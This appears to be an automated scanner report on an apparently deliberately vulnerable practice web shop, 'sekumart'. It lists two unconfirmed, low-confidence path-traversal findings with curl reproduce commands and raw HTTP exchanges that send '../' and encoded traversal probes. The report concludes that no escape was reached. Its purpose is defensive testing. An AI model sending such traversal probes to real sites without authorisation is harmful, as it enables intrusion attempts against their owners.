<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?data=1&src=&dir=1&lang=1&view=…

request

GET /sekumart.sekuripy.hr/login.php?data=1&src=&dir=1&lang=1&view=1&redirect=1&returnTo=1&return_url=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:19 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · target unconfirmed · low confidence BV-051 info

location: GET https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: target in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

target reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

target looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1'

GET /cart.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=skslqy1p9/../1&dest=1&comment=1…

request

GET /cart.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=skslqy1p9/%2e%2e/1&dest=1&comment=1…

request

GET /cart.php?next=1&target=skslqy1p9/%2e%2e/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=skslqy1p9/1&dest=1&comment=1&message=1…

request

GET /cart.php?next=1&target=skslqy1p9/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?next=1&target=&dest=1&comment=1&message=1&text=1…

request

GET /cart.php?next=1&target=&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · target unconfirmed · low confidence BV-052 info

location: GET https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: target in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

target reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

target looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1'

GET /catalog.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:23 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:23 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=skslqy1p9/../1&dest=1&comment=1…

request

GET /catalog.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:23 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=skslqy1p9/%2e%2e/1&dest=1&comment=1…

request

GET /catalog.php?next=1&target=skslqy1p9/%2e%2e/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:23 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=skslqy1p9/1&dest=1&comment=1…

request

GET /catalog.php?next=1&target=skslqy1p9/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:23 GMT
